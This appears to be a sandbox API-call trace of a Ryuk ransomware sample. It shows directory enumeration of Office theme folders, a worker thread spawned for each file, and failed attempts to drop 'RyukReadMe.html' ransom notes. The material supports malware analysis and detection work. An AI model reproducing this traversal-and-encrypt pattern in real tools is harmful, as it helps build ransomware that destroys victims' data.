	[0167.995] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0167.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0167.997] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.998] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0167.998] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.122] SetLastError (dwErrCode=0x0) 
	[0168.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.122] GetLastError () returned 0x5
	[0168.122] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.122] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0168.122] SetLastError (dwErrCode=0x0) 
	[0168.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.123] GetLastError () returned 0x5
	[0168.123] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.125] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.125] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1
	[0168.125] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0168.129] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.129] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1
	[0168.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0168.132] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.133] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0168.135] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.136] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0168.138] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.138] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.139] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.139] SetLastError (dwErrCode=0x0) 
	[0168.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.139] GetLastError () returned 0x5
	[0168.139] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.139] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0168.140] SetLastError (dwErrCode=0x0) 
	[0168.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.140] GetLastError () returned 0x5
	[0168.140] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.140] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.142] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.142] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1
	[0168.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0168.145] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.146] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1
	[0168.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0168.148] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.149] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0168.152] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.152] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0168.155] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.155] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.156] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.156] SetLastError (dwErrCode=0x0) 
	[0168.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.156] GetLastError () returned 0x5
	[0168.156] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.157] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0168.157] SetLastError (dwErrCode=0x0) 
	[0168.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.157] GetLastError () returned 0x5
	[0168.157] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.263] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.263] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1
	[0168.263] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0168.266] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.267] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1
	[0168.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0168.269] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.269] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.269] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c
	[0168.272] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.272] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.272] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0168.275] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.276] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.276] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.276] SetLastError (dwErrCode=0x0) 
	[0168.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.277] GetLastError () returned 0x5
	[0168.277] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.277] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0168.277] SetLastError (dwErrCode=0x0) 
